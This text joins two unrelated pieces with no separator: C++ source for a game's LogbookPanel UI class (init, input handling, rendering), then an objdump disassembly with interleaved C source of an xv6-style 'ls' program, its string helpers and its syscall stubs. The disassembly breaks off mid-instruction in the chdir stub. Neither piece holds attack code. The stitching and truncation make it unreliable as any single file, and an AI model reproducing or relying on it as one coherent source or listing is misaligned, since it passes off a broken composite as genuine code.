#include "SDL.h" #include "GameWorldPanel.h" #include "LogbookPanel.h" #include "LogbookUiController.h" #include "LogbookUiModel.h" #include "LogbookUiView.h" #include "../Assets/ArenaTextureName.h" #include "../Assets/ExeData.h" #include "../Game/Game.h" #include "../Game/Options.h" #include "../Math/Vector2.h" #include "../Media/Color.h" #include "../Media/TextureManager.h" #include "../Rendering/ArenaRenderUtils.h" #include "../Rendering/Renderer.h" #include "../UI/CursorAlignment.h" #include "../UI/CursorData.h" #include "../UI/FontLibrary.h" #include "../UI/TextAlignment.h" #include "../UI/Texture.h" LogbookPanel::LogbookPanel(Game &game) : Panel(game) { } bool LogbookPanel::init() { auto &game = this->getGame(); auto &renderer = game.getRenderer(); const auto &fontLibrary = game.getFontLibrary(); const std::string titleText = LogbookUiModel::getTitleText(game); const TextBox::InitInfo titleTextBoxInitInfo = LogbookUiView::getTitleTextBoxInitInfo(titleText, fontLibrary); if (!this->titleTextBox.init(titleTextBoxInitInfo, titleText, renderer)) { DebugLogError("Couldn't init title text box."); return false; } this->backButton = Button<Game&>( LogbookUiView::BackButtonCenterPoint, LogbookUiView::BackButtonWidth, LogbookUiView::BackButtonHeight, LogbookUiController::onBackButtonSelected); return true; } std::optional<CursorData> LogbookPanel::getCurrentCursor() const { return this->getDefaultCursor(); } void LogbookPanel::handleEvent(const SDL_Event &e) { const auto &inputManager = this->getGame().getInputManager(); const bool escapePressed = inputManager.keyPressed(e, SDLK_ESCAPE); const bool lPressed = inputManager.keyPressed(e, SDLK_l); if (escapePressed || lPressed) { this->backButton.click(this->getGame()); } const bool leftClick = inputManager.mouseButtonPressed(e, SDL_BUTTON_LEFT); if (leftClick) { const Int2 mousePosition = inputManager.getMousePosition(); const Int2 mouseOriginalPoint = this->getGame().getRenderer().nativeToOriginal(mousePosition); if (this->backButton.contains(mouseOriginalPoint)) { this->backButton.click(this->getGame()); } } } void LogbookPanel::render(Renderer &renderer) { // Clear full screen. renderer.clear(); // Logbook background. auto &textureManager = this->getGame().getTextureManager(); const TextureAssetReference paletteTextureAssetRef = LogbookUiView::getBackgroundPaletteTextureAssetRef(); const std::optional<PaletteID> paletteID = textureManager.tryGetPaletteID(paletteTextureAssetRef); if (!paletteID.has_value()) { DebugLogError("Couldn't get palette ID for \"" + paletteTextureAssetRef.filename + "\"."); return; } const TextureAssetReference backgroundTextureAssetRef = LogbookUiView::getBackgroundTextureAssetRef(); const std::optional<TextureBuilderID> backgroundTextureBuilderID = textureManager.tryGetTextureBuilderID(backgroundTextureAssetRef); if (!backgroundTextureBuilderID.has_value()) { DebugLogError("Couldn't get texture builder ID for \"" + backgroundTextureAssetRef.filename + "\"."); return; } renderer.drawOriginal(*backgroundTextureBuilderID, *paletteID, textureManager); // Draw text: title. const Rect &titleTextBoxRect = this->titleTextBox.getRect(); renderer.drawOriginal(this->titleTextBox.getTexture(), titleTextBoxRect.getLeft(), titleTextBoxRect.getTop()); }
_ls: file format elf32-i386 Disassembly of section .text: 00000000 <fmtname>: #include "user.h" #include "fs.h" char* fmtname(char *path) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 53 push %ebx 4: 83 ec 14 sub $0x14,%esp static char buf[DIRSIZ+1]; char *p; // Find first character after last slash. for(p=path+strlen(path); p >= path && *p != '/'; p--) 7: 83 ec 0c sub $0xc,%esp a: ff 75 08 pushl 0x8(%ebp) d: e8 b5 03 00 00 call 3c7 <strlen> 12: 83 c4 10 add $0x10,%esp 15: 03 45 08 add 0x8(%ebp),%eax 18: 89 45 f4 mov %eax,-0xc(%ebp) 1b: eb 03 jmp 20 <fmtname+0x20> 1d: ff 4d f4 decl -0xc(%ebp) 20: 8b 45 f4 mov -0xc(%ebp),%eax 23: 3b 45 08 cmp 0x8(%ebp),%eax 26: 72 09 jb 31 <fmtname+0x31> 28: 8b 45 f4 mov -0xc(%ebp),%eax 2b: 8a 00 mov (%eax),%al 2d: 3c 2f cmp $0x2f,%al 2f: 75 ec jne 1d <fmtname+0x1d> ; p++; 31: ff 45 f4 incl -0xc(%ebp) // Return blank-padded name. if(strlen(p) >= DIRSIZ) 34: 83 ec 0c sub $0xc,%esp 37: ff 75 f4 pushl -0xc(%ebp) 3a: e8 88 03 00 00 call 3c7 <strlen> 3f: 83 c4 10 add $0x10,%esp 42: 83 f8 0d cmp $0xd,%eax 45: 76 05 jbe 4c <fmtname+0x4c> return p; 47: 8b 45 f4 mov -0xc(%ebp),%eax 4a: eb 60 jmp ac <fmtname+0xac> memmove(buf, p, strlen(p)); 4c: 83 ec 0c sub $0xc,%esp 4f: ff 75 f4 pushl -0xc(%ebp) 52: e8 70 03 00 00 call 3c7 <strlen> 57: 83 c4 10 add $0x10,%esp 5a: 83 ec 04 sub $0x4,%esp 5d: 50 push %eax 5e: ff 75 f4 pushl -0xc(%ebp) 61: 68 ec 0a 00 00 push $0xaec 66: e8 bf 04 00 00 call 52a <memmove> 6b: 83 c4 10 add $0x10,%esp memset(buf+strlen(p), ' ', DIRSIZ-strlen(p)); 6e: 83 ec 0c sub $0xc,%esp 71: ff 75 f4 pushl -0xc(%ebp) 74: e8 4e 03 00 00 call 3c7 <strlen> 79: 83 c4 10 add $0x10,%esp 7c: ba 0e 00 00 00 mov $0xe,%edx 81: 89 d3 mov %edx,%ebx 83: 29 c3 sub %eax,%ebx 85: 83 ec 0c sub $0xc,%esp 88: ff 75 f4 pushl -0xc(%ebp) 8b: e8 37 03 00 00 call 3c7 <strlen> 90: 83 c4 10 add $0x10,%esp 93: 05 ec 0a 00 00 add $0xaec,%eax 98: 83 ec 04 sub $0x4,%esp 9b: 53 push %ebx 9c: 6a 20 push $0x20 9e: 50 push %eax 9f: e8 46 03 00 00 call 3ea <memset> a4: 83 c4 10 add $0x10,%esp return buf; a7: b8 ec 0a 00 00 mov $0xaec,%eax } ac: 8b 5d fc mov -0x4(%ebp),%ebx af: c9 leave b0: c3 ret 000000b1 <ls>: void ls(char *path) { b1: 55 push %ebp b2: 89 e5 mov %esp,%ebp b4: 57 push %edi b5: 56 push %esi b6: 53 push %ebx b7: 81 ec 3c 02 00 00 sub $0x23c,%esp char buf[512], *p; int fd; struct dirent de; struct stat st; if((fd = open(path, 0)) < 0){ bd: 83 ec 08 sub $0x8,%esp c0: 6a 00 push $0x0 c2: ff 75 08 pushl 0x8(%ebp) c5: e8 e2 04 00 00 call 5ac <open> ca: 83 c4 10 add $0x10,%esp cd: 89 45 e4 mov %eax,-0x1c(%ebp) d0: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp) d4: 79 1a jns f0 <ls+0x3f> printf(2, "ls: cannot open %s\n", path); d6: 83 ec 04 sub $0x4,%esp d9: ff 75 08 pushl 0x8(%ebp) dc: 68 84 0a 00 00 push $0xa84 e1: 6a 02 push $0x2 e3: e8 f3 05 00 00 call 6db <printf> e8: 83 c4 10 add $0x10,%esp return; eb: e9 dd 01 00 00 jmp 2cd <ls+0x21c> } if(fstat(fd, &st) < 0){ f0: 83 ec 08 sub $0x8,%esp f3: 8d 85 bc fd ff ff lea -0x244(%ebp),%eax f9: 50 push %eax fa: ff 75 e4 pushl -0x1c(%ebp) fd: e8 c2 04 00 00 call 5c4 <fstat> 102: 83 c4 10 add $0x10,%esp 105: 85 c0 test %eax,%eax 107: 79 28 jns 131 <ls+0x80> printf(2, "ls: cannot stat %s\n", path); 109: 83 ec 04 sub $0x4,%esp 10c: ff 75 08 pushl 0x8(%ebp) 10f: 68 98 0a 00 00 push $0xa98 114: 6a 02 push $0x2 116: e8 c0 05 00 00 call 6db <printf> 11b: 83 c4 10 add $0x10,%esp close(fd); 11e: 83 ec 0c sub $0xc,%esp 121: ff 75 e4 pushl -0x1c(%ebp) 124: e8 6b 04 00 00 call 594 <close> 129: 83 c4 10 add $0x10,%esp return; 12c: e9 9c 01 00 00 jmp 2cd <ls+0x21c> } switch(st.type){ 131: 8b 85 bc fd ff ff mov -0x244(%ebp),%eax 137: 98 cwtl 138: 83 f8 01 cmp $0x1,%eax 13b: 74 47 je 184 <ls+0xd3> 13d: 83 f8 02 cmp $0x2,%eax 140: 0f 85 79 01 00 00 jne 2bf <ls+0x20e> case T_FILE: printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size); 146: 8b bd cc fd ff ff mov -0x234(%ebp),%edi 14c: 8b b5 c4 fd ff ff mov -0x23c(%ebp),%esi 152: 8b 85 bc fd ff ff mov -0x244(%ebp),%eax 158: 0f bf d8 movswl %ax,%ebx 15b: 83 ec 0c sub $0xc,%esp 15e: ff 75 08 pushl 0x8(%ebp) 161: e8 9a fe ff ff call 0 <fmtname> 166: 83 c4 10 add $0x10,%esp 169: 83 ec 08 sub $0x8,%esp 16c: 57 push %edi 16d: 56 push %esi 16e: 53 push %ebx 16f: 50 push %eax 170: 68 ac 0a 00 00 push $0xaac 175: 6a 01 push $0x1 177: e8 5f 05 00 00 call 6db <printf> 17c: 83 c4 20 add $0x20,%esp break; 17f: e9 3b 01 00 00 jmp 2bf <ls+0x20e> case T_DIR: if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){ 184: 83 ec 0c sub $0xc,%esp 187: ff 75 08 pushl 0x8(%ebp) 18a: e8 38 02 00 00 call 3c7 <strlen> 18f: 83 c4 10 add $0x10,%esp 192: 83 c0 10 add $0x10,%eax 195: 3d 00 02 00 00 cmp $0x200,%eax 19a: 76 17 jbe 1b3 <ls+0x102> printf(1, "ls: path too long\n"); 19c: 83 ec 08 sub $0x8,%esp 19f: 68 b9 0a 00 00 push $0xab9 1a4: 6a 01 push $0x1 1a6: e8 30 05 00 00 call 6db <printf> 1ab: 83 c4 10 add $0x10,%esp break; 1ae: e9 0c 01 00 00 jmp 2bf <ls+0x20e> } strcpy(buf, path); 1b3: 83 ec 08 sub $0x8,%esp 1b6: ff 75 08 pushl 0x8(%ebp) 1b9: 8d 85 e0 fd ff ff lea -0x220(%ebp),%eax 1bf: 50 push %eax 1c0: e8 98 01 00 00 call 35d <strcpy> 1c5: 83 c4 10 add $0x10,%esp p = buf+strlen(buf); 1c8: 83 ec 0c sub $0xc,%esp 1cb: 8d 85 e0 fd ff ff lea -0x220(%ebp),%eax 1d1: 50 push %eax 1d2: e8 f0 01 00 00 call 3c7 <strlen> 1d7: 83 c4 10 add $0x10,%esp 1da: 8d 95 e0 fd ff ff lea -0x220(%ebp),%edx 1e0: 8d 04 02 lea (%edx,%eax,1),%eax 1e3: 89 45 e0 mov %eax,-0x20(%ebp) *p++ = '/'; 1e6: 8b 45 e0 mov -0x20(%ebp),%eax 1e9: c6 00 2f movb $0x2f,(%eax) 1ec: ff 45 e0 incl -0x20(%ebp) while(read(fd, &de, sizeof(de)) == sizeof(de)){ 1ef: e9 aa 00 00 00 jmp 29e <ls+0x1ed> if(de.inum == 0) 1f4: 8b 85 d0 fd ff ff mov -0x230(%ebp),%eax 1fa: 66 85 c0 test %ax,%ax 1fd: 0f 84 9a 00 00 00 je 29d <ls+0x1ec> continue; memmove(p, de.name, DIRSIZ); 203: 83 ec 04 sub $0x4,%esp 206: 6a 0e push $0xe 208: 8d 85 d0 fd ff ff lea -0x230(%ebp),%eax 20e: 83 c0 02 add $0x2,%eax 211: 50 push %eax 212: ff 75 e0 pushl -0x20(%ebp) 215: e8 10 03 00 00 call 52a <memmove> 21a: 83 c4 10 add $0x10,%esp p[DIRSIZ] = 0; 21d: 8b 45 e0 mov -0x20(%ebp),%eax 220: 83 c0 0e add $0xe,%eax 223: c6 00 00 movb $0x0,(%eax) if(stat(buf, &st) < 0){ 226: 83 ec 08 sub $0x8,%esp 229: 8d 85 bc fd ff ff lea -0x244(%ebp),%eax 22f: 50 push %eax 230: 8d 85 e0 fd ff ff lea -0x220(%ebp),%eax 236: 50 push %eax 237: e8 59 02 00 00 call 495 <stat> 23c: 83 c4 10 add $0x10,%esp 23f: 85 c0 test %eax,%eax 241: 79 1b jns 25e <ls+0x1ad> printf(1, "ls: cannot stat %s\n", buf); 243: 83 ec 04 sub $0x4,%esp 246: 8d 85 e0 fd ff ff lea -0x220(%ebp),%eax 24c: 50 push %eax 24d: 68 98 0a 00 00 push $0xa98 252: 6a 01 push $0x1 254: e8 82 04 00 00 call 6db <printf> 259: 83 c4 10 add $0x10,%esp continue; 25c: eb 40 jmp 29e <ls+0x1ed> } printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size); 25e: 8b bd cc fd ff ff mov -0x234(%ebp),%edi 264: 8b b5 c4 fd ff ff mov -0x23c(%ebp),%esi 26a: 8b 85 bc fd ff ff mov -0x244(%ebp),%eax 270: 0f bf d8 movswl %ax,%ebx 273: 83 ec 0c sub $0xc,%esp 276: 8d 85 e0 fd ff ff lea -0x220(%ebp),%eax 27c: 50 push %eax 27d: e8 7e fd ff ff call 0 <fmtname> 282: 83 c4 10 add $0x10,%esp 285: 83 ec 08 sub $0x8,%esp 288: 57 push %edi 289: 56 push %esi 28a: 53 push %ebx 28b: 50 push %eax 28c: 68 ac 0a 00 00 push $0xaac 291: 6a 01 push $0x1 293: e8 43 04 00 00 call 6db <printf> 298: 83 c4 20 add $0x20,%esp 29b: eb 01 jmp 29e <ls+0x1ed> strcpy(buf, path); p = buf+strlen(buf); *p++ = '/'; while(read(fd, &de, sizeof(de)) == sizeof(de)){ if(de.inum == 0) continue; 29d: 90 nop break; } strcpy(buf, path); p = buf+strlen(buf); *p++ = '/'; while(read(fd, &de, sizeof(de)) == sizeof(de)){ 29e: 83 ec 04 sub $0x4,%esp 2a1: 6a 10 push $0x10 2a3: 8d 85 d0 fd ff ff lea -0x230(%ebp),%eax 2a9: 50 push %eax 2aa: ff 75 e4 pushl -0x1c(%ebp) 2ad: e8 d2 02 00 00 call 584 <read> 2b2: 83 c4 10 add $0x10,%esp 2b5: 83 f8 10 cmp $0x10,%eax 2b8: 0f 84 36 ff ff ff je 1f4 <ls+0x143> printf(1, "ls: cannot stat %s\n", buf); continue; } printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size); } break; 2be: 90 nop } close(fd); 2bf: 83 ec 0c sub $0xc,%esp 2c2: ff 75 e4 pushl -0x1c(%ebp) 2c5: e8 ca 02 00 00 call 594 <close> 2ca: 83 c4 10 add $0x10,%esp } 2cd: 8d 65 f4 lea -0xc(%ebp),%esp 2d0: 83 c4 00 add $0x0,%esp 2d3: 5b pop %ebx 2d4: 5e pop %esi 2d5: 5f pop %edi 2d6: c9 leave 2d7: c3 ret 000002d8 <main>: int main(int argc, char *argv[]) { 2d8: 8d 4c 24 04 lea 0x4(%esp),%ecx 2dc: 83 e4 f0 and $0xfffffff0,%esp 2df: ff 71 fc pushl -0x4(%ecx) 2e2: 55 push %ebp 2e3: 89 e5 mov %esp,%ebp 2e5: 53 push %ebx 2e6: 51 push %ecx 2e7: 83 ec 10 sub $0x10,%esp 2ea: 89 cb mov %ecx,%ebx int i; if(argc < 2){ 2ec: 83 3b 01 cmpl $0x1,(%ebx) 2ef: 7f 15 jg 306 <main+0x2e> ls("."); 2f1: 83 ec 0c sub $0xc,%esp 2f4: 68 cc 0a 00 00 push $0xacc 2f9: e8 b3 fd ff ff call b1 <ls> 2fe: 83 c4 10 add $0x10,%esp exit(); 301: e8 66 02 00 00 call 56c <exit> } for(i=1; i<argc; i++) 306: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp) 30d: eb 1a jmp 329 <main+0x51> ls(argv[i]); 30f: 8b 45 f4 mov -0xc(%ebp),%eax 312: c1 e0 02 shl $0x2,%eax 315: 03 43 04 add 0x4(%ebx),%eax 318: 8b 00 mov (%eax),%eax 31a: 83 ec 0c sub $0xc,%esp 31d: 50 push %eax 31e: e8 8e fd ff ff call b1 <ls> 323: 83 c4 10 add $0x10,%esp if(argc < 2){ ls("."); exit(); } for(i=1; i<argc; i++) 326: ff 45 f4 incl -0xc(%ebp) 329: 8b 45 f4 mov -0xc(%ebp),%eax 32c: 3b 03 cmp (%ebx),%eax 32e: 7c df jl 30f <main+0x37> ls(argv[i]); exit(); 330: e8 37 02 00 00 call 56c <exit> 335: 90 nop 336: 90 nop 337: 90 nop 00000338 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 338: 55 push %ebp 339: 89 e5 mov %esp,%ebp 33b: 57 push %edi 33c: 53 push %ebx asm volatile("cld; rep stosb" : 33d: 8b 4d 08 mov 0x8(%ebp),%ecx 340: 8b 55 10 mov 0x10(%ebp),%edx 343: 8b 45 0c mov 0xc(%ebp),%eax 346: 89 cb mov %ecx,%ebx 348: 89 df mov %ebx,%edi 34a: 89 d1 mov %edx,%ecx 34c: fc cld 34d: f3 aa rep stos %al,%es:(%edi) 34f: 89 ca mov %ecx,%edx 351: 89 fb mov %edi,%ebx 353: 89 5d 08 mov %ebx,0x8(%ebp) 356: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 359: 5b pop %ebx 35a: 5f pop %edi 35b: c9 leave 35c: c3 ret 0000035d <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 35d: 55 push %ebp 35e: 89 e5 mov %esp,%ebp 360: 83 ec 10 sub $0x10,%esp char *os; os = s; 363: 8b 45 08 mov 0x8(%ebp),%eax 366: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 369: 90 nop 36a: 8b 45 0c mov 0xc(%ebp),%eax 36d: 8a 10 mov (%eax),%dl 36f: 8b 45 08 mov 0x8(%ebp),%eax 372: 88 10 mov %dl,(%eax) 374: 8b 45 08 mov 0x8(%ebp),%eax 377: 8a 00 mov (%eax),%al 379: 84 c0 test %al,%al 37b: 0f 95 c0 setne %al 37e: ff 45 08 incl 0x8(%ebp) 381: ff 45 0c incl 0xc(%ebp) 384: 84 c0 test %al,%al 386: 75 e2 jne 36a <strcpy+0xd> ; return os; 388: 8b 45 fc mov -0x4(%ebp),%eax } 38b: c9 leave 38c: c3 ret 0000038d <strcmp>: int strcmp(const char *p, const char *q) { 38d: 55 push %ebp 38e: 89 e5 mov %esp,%ebp while(*p && *p == *q) 390: eb 06 jmp 398 <strcmp+0xb> p++, q++; 392: ff 45 08 incl 0x8(%ebp) 395: ff 45 0c incl 0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 398: 8b 45 08 mov 0x8(%ebp),%eax 39b: 8a 00 mov (%eax),%al 39d: 84 c0 test %al,%al 39f: 74 0e je 3af <strcmp+0x22> 3a1: 8b 45 08 mov 0x8(%ebp),%eax 3a4: 8a 10 mov (%eax),%dl 3a6: 8b 45 0c mov 0xc(%ebp),%eax 3a9: 8a 00 mov (%eax),%al 3ab: 38 c2 cmp %al,%dl 3ad: 74 e3 je 392 <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; 3af: 8b 45 08 mov 0x8(%ebp),%eax 3b2: 8a 00 mov (%eax),%al 3b4: 0f b6 d0 movzbl %al,%edx 3b7: 8b 45 0c mov 0xc(%ebp),%eax 3ba: 8a 00 mov (%eax),%al 3bc: 0f b6 c0 movzbl %al,%eax 3bf: 89 d1 mov %edx,%ecx 3c1: 29 c1 sub %eax,%ecx 3c3: 89 c8 mov %ecx,%eax } 3c5: c9 leave 3c6: c3 ret 000003c7 <strlen>: uint strlen(char *s) { 3c7: 55 push %ebp 3c8: 89 e5 mov %esp,%ebp 3ca: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 3cd: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 3d4: eb 03 jmp 3d9 <strlen+0x12> 3d6: ff 45 fc incl -0x4(%ebp) 3d9: 8b 45 fc mov -0x4(%ebp),%eax 3dc: 03 45 08 add 0x8(%ebp),%eax 3df: 8a 00 mov (%eax),%al 3e1: 84 c0 test %al,%al 3e3: 75 f1 jne 3d6 <strlen+0xf> ; return n; 3e5: 8b 45 fc mov -0x4(%ebp),%eax } 3e8: c9 leave 3e9: c3 ret 000003ea <memset>: void* memset(void *dst, int c, uint n) { 3ea: 55 push %ebp 3eb: 89 e5 mov %esp,%ebp stosb(dst, c, n); 3ed: 8b 45 10 mov 0x10(%ebp),%eax 3f0: 50 push %eax 3f1: ff 75 0c pushl 0xc(%ebp) 3f4: ff 75 08 pushl 0x8(%ebp) 3f7: e8 3c ff ff ff call 338 <stosb> 3fc: 83 c4 0c add $0xc,%esp return dst; 3ff: 8b 45 08 mov 0x8(%ebp),%eax } 402: c9 leave 403: c3 ret 00000404 <strchr>: char* strchr(const char *s, char c) { 404: 55 push %ebp 405: 89 e5 mov %esp,%ebp 407: 83 ec 04 sub $0x4,%esp 40a: 8b 45 0c mov 0xc(%ebp),%eax 40d: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 410: eb 12 jmp 424 <strchr+0x20> if(*s == c) 412: 8b 45 08 mov 0x8(%ebp),%eax 415: 8a 00 mov (%eax),%al 417: 3a 45 fc cmp -0x4(%ebp),%al 41a: 75 05 jne 421 <strchr+0x1d> return (char*)s; 41c: 8b 45 08 mov 0x8(%ebp),%eax 41f: eb 11 jmp 432 <strchr+0x2e> } char* strchr(const char *s, char c) { for(; *s; s++) 421: ff 45 08 incl 0x8(%ebp) 424: 8b 45 08 mov 0x8(%ebp),%eax 427: 8a 00 mov (%eax),%al 429: 84 c0 test %al,%al 42b: 75 e5 jne 412 <strchr+0xe> if(*s == c) return (char*)s; return 0; 42d: b8 00 00 00 00 mov $0x0,%eax } 432: c9 leave 433: c3 ret 00000434 <gets>: char* gets(char *buf, int max) { 434: 55 push %ebp 435: 89 e5 mov %esp,%ebp 437: 83 ec 18 sub $0x18,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 43a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 441: eb 38 jmp 47b <gets+0x47> cc = read(0, &c, 1); 443: 83 ec 04 sub $0x4,%esp 446: 6a 01 push $0x1 448: 8d 45 ef lea -0x11(%ebp),%eax 44b: 50 push %eax 44c: 6a 00 push $0x0 44e: e8 31 01 00 00 call 584 <read> 453: 83 c4 10 add $0x10,%esp 456: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 459: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 45d: 7e 27 jle 486 <gets+0x52> break; buf[i++] = c; 45f: 8b 45 f4 mov -0xc(%ebp),%eax 462: 03 45 08 add 0x8(%ebp),%eax 465: 8a 55 ef mov -0x11(%ebp),%dl 468: 88 10 mov %dl,(%eax) 46a: ff 45 f4 incl -0xc(%ebp) if(c == '\n' || c == '\r') 46d: 8a 45 ef mov -0x11(%ebp),%al 470: 3c 0a cmp $0xa,%al 472: 74 13 je 487 <gets+0x53> 474: 8a 45 ef mov -0x11(%ebp),%al 477: 3c 0d cmp $0xd,%al 479: 74 0c je 487 <gets+0x53> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 47b: 8b 45 f4 mov -0xc(%ebp),%eax 47e: 40 inc %eax 47f: 3b 45 0c cmp 0xc(%ebp),%eax 482: 7c bf jl 443 <gets+0xf> 484: eb 01 jmp 487 <gets+0x53> cc = read(0, &c, 1); if(cc < 1) break; 486: 90 nop buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 487: 8b 45 f4 mov -0xc(%ebp),%eax 48a: 03 45 08 add 0x8(%ebp),%eax 48d: c6 00 00 movb $0x0,(%eax) return buf; 490: 8b 45 08 mov 0x8(%ebp),%eax } 493: c9 leave 494: c3 ret 00000495 <stat>: int stat(char *n, struct stat *st) { 495: 55 push %ebp 496: 89 e5 mov %esp,%ebp 498: 83 ec 18 sub $0x18,%esp int fd; int r; fd = open(n, O_RDONLY); 49b: 83 ec 08 sub $0x8,%esp 49e: 6a 00 push $0x0 4a0: ff 75 08 pushl 0x8(%ebp) 4a3: e8 04 01 00 00 call 5ac <open> 4a8: 83 c4 10 add $0x10,%esp 4ab: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 4ae: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 4b2: 79 07 jns 4bb <stat+0x26> return -1; 4b4: b8 ff ff ff ff mov $0xffffffff,%eax 4b9: eb 25 jmp 4e0 <stat+0x4b> r = fstat(fd, st); 4bb: 83 ec 08 sub $0x8,%esp 4be: ff 75 0c pushl 0xc(%ebp) 4c1: ff 75 f4 pushl -0xc(%ebp) 4c4: e8 fb 00 00 00 call 5c4 <fstat> 4c9: 83 c4 10 add $0x10,%esp 4cc: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 4cf: 83 ec 0c sub $0xc,%esp 4d2: ff 75 f4 pushl -0xc(%ebp) 4d5: e8 ba 00 00 00 call 594 <close> 4da: 83 c4 10 add $0x10,%esp return r; 4dd: 8b 45 f0 mov -0x10(%ebp),%eax } 4e0: c9 leave 4e1: c3 ret 000004e2 <atoi>: int atoi(const char *s) { 4e2: 55 push %ebp 4e3: 89 e5 mov %esp,%ebp 4e5: 83 ec 10 sub $0x10,%esp int n; n = 0; 4e8: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 4ef: eb 22 jmp 513 <atoi+0x31> n = n*10 + *s++ - '0'; 4f1: 8b 55 fc mov -0x4(%ebp),%edx 4f4: 89 d0 mov %edx,%eax 4f6: c1 e0 02 shl $0x2,%eax 4f9: 01 d0 add %edx,%eax 4fb: d1 e0 shl %eax 4fd: 89 c2 mov %eax,%edx 4ff: 8b 45 08 mov 0x8(%ebp),%eax 502: 8a 00 mov (%eax),%al 504: 0f be c0 movsbl %al,%eax 507: 8d 04 02 lea (%edx,%eax,1),%eax 50a: 83 e8 30 sub $0x30,%eax 50d: 89 45 fc mov %eax,-0x4(%ebp) 510: ff 45 08 incl 0x8(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 513: 8b 45 08 mov 0x8(%ebp),%eax 516: 8a 00 mov (%eax),%al 518: 3c 2f cmp $0x2f,%al 51a: 7e 09 jle 525 <atoi+0x43> 51c: 8b 45 08 mov 0x8(%ebp),%eax 51f: 8a 00 mov (%eax),%al 521: 3c 39 cmp $0x39,%al 523: 7e cc jle 4f1 <atoi+0xf> n = n*10 + *s++ - '0'; return n; 525: 8b 45 fc mov -0x4(%ebp),%eax } 528: c9 leave 529: c3 ret 0000052a <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 52a: 55 push %ebp 52b: 89 e5 mov %esp,%ebp 52d: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 530: 8b 45 08 mov 0x8(%ebp),%eax 533: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 536: 8b 45 0c mov 0xc(%ebp),%eax 539: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 53c: eb 10 jmp 54e <memmove+0x24> *dst++ = *src++; 53e: 8b 45 f8 mov -0x8(%ebp),%eax 541: 8a 10 mov (%eax),%dl 543: 8b 45 fc mov -0x4(%ebp),%eax 546: 88 10 mov %dl,(%eax) 548: ff 45 fc incl -0x4(%ebp) 54b: ff 45 f8 incl -0x8(%ebp) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 54e: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 552: 0f 9f c0 setg %al 555: ff 4d 10 decl 0x10(%ebp) 558: 84 c0 test %al,%al 55a: 75 e2 jne 53e <memmove+0x14> *dst++ = *src++; return vdst; 55c: 8b 45 08 mov 0x8(%ebp),%eax } 55f: c9 leave 560: c3 ret 561: 90 nop 562: 90 nop 563: 90 nop 00000564 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 564: b8 01 00 00 00 mov $0x1,%eax 569: cd 40 int $0x40 56b: c3 ret 0000056c <exit>: SYSCALL(exit) 56c: b8 02 00 00 00 mov $0x2,%eax 571: cd 40 int $0x40 573: c3 ret 00000574 <wait>: SYSCALL(wait) 574: b8 03 00 00 00 mov $0x3,%eax 579: cd 40 int $0x40 57b: c3 ret 0000057c <pipe>: SYSCALL(pipe) 57c: b8 04 00 00 00 mov $0x4,%eax 581: cd 40 int $0x40 583: c3 ret 00000584 <read>: SYSCALL(read) 584: b8 05 00 00 00 mov $0x5,%eax 589: cd 40 int $0x40 58b: c3 ret 0000058c <write>: SYSCALL(write) 58c: b8 10 00 00 00 mov $0x10,%eax 591: cd 40 int $0x40 593: c3 ret 00000594 <close>: SYSCALL(close) 594: b8 15 00 00 00 mov $0x15,%eax 599: cd 40 int $0x40 59b: c3 ret 0000059c <kill>: SYSCALL(kill) 59c: b8 06 00 00 00 mov $0x6,%eax 5a1: cd 40 int $0x40 5a3: c3 ret 000005a4 <exec>: SYSCALL(exec) 5a4: b8 07 00 00 00 mov $0x7,%eax 5a9: cd 40 int $0x40 5ab: c3 ret 000005ac <open>: SYSCALL(open) 5ac: b8 0f 00 00 00 mov $0xf,%eax 5b1: cd 40 int $0x40 5b3: c3 ret 000005b4 <mknod>: SYSCALL(mknod) 5b4: b8 11 00 00 00 mov $0x11,%eax 5b9: cd 40 int $0x40 5bb: c3 ret 000005bc <unlink>: SYSCALL(unlink) 5bc: b8 12 00 00 00 mov $0x12,%eax 5c1: cd 40 int $0x40 5c3: c3 ret 000005c4 <fstat>: SYSCALL(fstat) 5c4: b8 08 00 00 00 mov $0x8,%eax 5c9: cd 40 int $0x40 5cb: c3 ret 000005cc <link>: SYSCALL(link) 5cc: b8 13 00 00 00 mov $0x13,%eax 5d1: cd 40 int $0x40 5d3: c3 ret 000005d4 <mkdir>: SYSCALL(mkdir) 5d4: b8 14 00 00 00 mov $0x14,%eax 5d9: cd 40 int $0x40 5db: c3 ret 000005dc <chdir>: SYSCALL(chdir) 5dc: b8 09 00 